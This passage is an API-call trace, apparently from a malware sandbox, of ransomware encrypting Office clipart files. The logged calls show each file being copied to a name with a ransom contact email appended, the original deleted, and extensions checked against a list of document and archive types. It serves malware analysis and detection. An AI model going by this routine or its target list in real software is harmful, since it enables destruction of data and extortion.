lpOverlapped=0x0) returned 1 [0065.675] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2250, lpOverlapped=0x0) returned 1 [0065.676] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.676] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.676] SetEndOfFile (hFile=0x36c) returned 1 [0065.677] CloseHandle (hObject=0x36c) returned 1 [0065.678] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.678] SetEndOfFile (hFile=0x370) returned 1 [0065.679] CloseHandle (hObject=0x370) returned 1 [0065.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0065.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0065.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0065.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0065.680] lstrlenW (lpString=".doc") returned 4 [0065.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.680] lstrlenW (lpString=".docx") returned 5 [0065.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.680] lstrlenW (lpString=".pdf") returned 4 [0065.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.680] lstrlenW (lpString=".xls") returned 4 [0065.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.680] lstrlenW (lpString=".xlsx") returned 5 [0065.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.680] lstrlenW (lpString=".ppt") returned 4 [0065.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0065.680] lstrlenW (lpString=".zip") returned 4 [0065.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.680] lstrlenW (lpString=".rar") returned 4 [0065.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.680] lstrlenW (lpString=".bz2") returned 4 [0065.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.680] lstrlenW (lpString=".7z") returned 3 [0065.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0065.680] lstrlenW (lpString=".dbf") returned 4 [0065.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0065.680] lstrlenW (lpString=".1cd") returned 4 [0065.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0065.681] lstrlenW (lpString=".jpg") returned 4 [0065.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.681] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.681] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0065.682] GetLastError () returned 0x0 [0065.682] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x3896, lpOverlapped=0x0) returned 1 [0065.924] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x38a0, lpOverlapped=0x0) returned 1 [0065.926] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.926] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0065.926] SetEndOfFile (hFile=0x36c) returned 1 [0066.436] CloseHandle (hObject=0x36c) returned 1 [0066.455] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.455] SetEndOfFile (hFile=0x370) returned 1 [0066.456] CloseHandle (hObject=0x370) returned 1 [0066.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0066.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0066.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0066.457] lstrlenW (lpString=".doc") returned 4 [0066.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.457] lstrlenW (lpString=".docx") returned 5 [0066.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.457] lstrlenW (lpString=".pdf") returned 4 [0066.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.457] lstrlenW (lpString=".xls") returned 4 [0066.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.457] lstrlenW (lpString=".xlsx") returned 5 [0066.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.457] lstrlenW (lpString=".ppt") returned 4 [0066.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0066.457] lstrlenW (lpString=".zip") returned 4 [0066.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.457] lstrlenW (lpString=".rar") returned 4 [0066.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.457] lstrlenW (lpString=".bz2") returned 4 [0066.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.457] lstrlenW (lpString=".7z") returned 3 [0066.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0066.457] lstrlenW (lpString=".dbf") returned 4 [0066.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0066.457] lstrlenW (lpString=".1cd") returned 4 [0066.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0066.458] lstrlenW (lpString=".jpg") returned 4 [0066.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.458] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.458] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0066.459] GetLastError () returned 0x0 [0066.459] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x386c, lpOverlapped=0x0) returned 1 [0066.460] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x3870, lpOverlapped=0x0) returned 1 [0066.461] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.461] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.461] SetEndOfFile (hFile=0x36c) returned 1 [0066.462] CloseHandle (hObject=0x36c) returned 1 [0066.463] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.463] SetEndOfFile (hFile=0x370) returned 1 [0066.464] CloseHandle (hObject=0x370) returned 1 [0066.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.468] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0066.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0066.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0066.468] lstrlenW (lpString=".doc") returned 4 [0066.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.468] lstrlenW (lpString=".docx") returned 5 [0066.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.468] lstrlenW (lpString=".pdf") returned 4 [0066.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.468] lstrlenW (lpString=".xls") returned 4 [0066.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.468] lstrlenW (lpString=".xlsx") returned 5 [0066.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.468] lstrlenW (lpString=".ppt") returned 4 [0066.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0066.468] lstrlenW (lpString=".zip") returned 4 [0066.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.468] lstrlenW (lpString=".rar") returned 4 [0066.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.469] lstrlenW (lpString=".bz2") returned 4 [0066.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.469] lstrlenW (lpString=".7z") returned 3 [0066.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0066.469] lstrlenW (lpString=".dbf") returned 4 [0066.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0066.469] lstrlenW (lpString=".1cd") returned 4 [0066.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0066.469] lstrlenW (lpString=".jpg") returned 4 [0066.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.469] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.469] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0066.470] GetLastError () returned 0x0 [0066.470] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x600, lpOverlapped=0x0) returned 1 [0066.471] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x610, lpOverlapped=0x0) returned 1 [0066.472] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.472] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.472] SetEndOfFile (hFile=0x36c) returned 1 [0066.473] CloseHandle (hObject=0x36c) returned 1 [0066.473] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.473] SetEndOfFile (hFile=0x370) returned 1 [0066.474] CloseHandle (hObject=0x370) returned 1 [0066.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0066.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0066.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0066.475] lstrlenW (lpString=".doc") returned 4 [0066.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.475] lstrlenW (lpString=".docx") returned 5 [0066.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.475] lstrlenW (lpString=".pdf") returned 4 [0066.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.475] lstrlenW (lpString=".xls") returned 4 [0066.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.475] lstrlenW (lpString=".xlsx") returned 5 [0066.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.475] lstrlenW (lpString=".ppt") returned 4 [0066.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0066.476] lstrlenW (lpString=".zip") returned 4 [0066.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.476] lstrlenW (lpString=".rar") returned 4 [0066.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.476] lstrlenW (lpString=".bz2") returned 4 [0066.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.476] lstrlenW (lpString=".7z") returned 3 [0066.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0066.476] lstrlenW (lpString=".dbf") returned 4 [0066.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0066.476] lstrlenW (lpString=".1cd") returned 4 [0066.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0066.476] lstrlenW (lpString=".jpg") returned 4 [0066.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.476] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.477] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0066.477] GetLastError () returned 0x0 [0066.477] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1264, lpOverlapped=0x0) returned 1 [0066.478] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1270, lpOverlapped=0x0) returned 1 [0066.479] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.479] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.480] SetEndOfFile (hFile=0x36c) returned 1 [0066.480] CloseHandle (hObject=0x36c) returned 1 [0066.480] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.481] SetEndOfFile (hFile=0x370) returned 1 [0066.481] CloseHandle (hObject=0x370) returned 1 [0066.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0066.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0066.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0066.482] lstrlenW (lpString=".doc") returned 4 [0066.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.482] lstrlenW (lpString=".docx") returned 5 [0066.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.482] lstrlenW (lpString=".pdf") returned 4 [0066.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.482] lstrlenW (lpString=".xls") returned 4 [0066.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.482] lstrlenW (lpString=".xlsx") returned 5 [0066.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0066.482] lstrlenW (lpString=".ppt") returned 4 [0066.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0066.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0066.482] lstrlenW (lpString=".zip") returned 4 [0066.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0066.483] lstrlenW (lpString=".rar") returned 4 [0066.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0066.483] lstrlenW (lpString=".bz2") returned 4 [0066.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0066.483] lstrlenW (lpString=".7z") returned 3 [0066.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0066.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0066.483] lstrlenW (lpString=".dbf") returned 4 [0066.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0066.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0066.483] lstrlenW (lpString=".1cd") returned 4 [0066.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0066.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0066.483] lstrlenW (lpString=".jpg") returned 4 [0066.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0066.514] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.514] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0066.515] GetLastError () returned 0x0 [0066.515] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x6c8, lpOverlapped=0x0) returned 1 [0066.516] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x6d0, lpOverlapped=0x0) returned 1 [0066.517] ReadFile (in: hFile=0x370, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.517] WriteFile (in: hFile=0x36c, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1 [0066.517] SetEndOfFile (hFile=0x36c) returned 1 [0066.518] CloseHandle (hObject=0x36c) returned 1 [0066.519] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.519] SetEndOfFile (hFile=0x370) returned 1 [0066.519] CloseHandle (hObject=0x370) returned 1 [0066.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0066.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0066.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0066.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0066.520] lstrlenW (lpString=".doc") returned 4 [0066.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0066.520] lstrlenW (lpString=".docx") returned 5 [0066.520] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0066.520] lstrlenW (lpString=".pdf") returned 4 [0066.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0066.520] lstrlenW (lpString=".xls") returned 4 [0066.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0066.521] lstrlenW (lpString=".xlsx") returned 5 [0066.521] 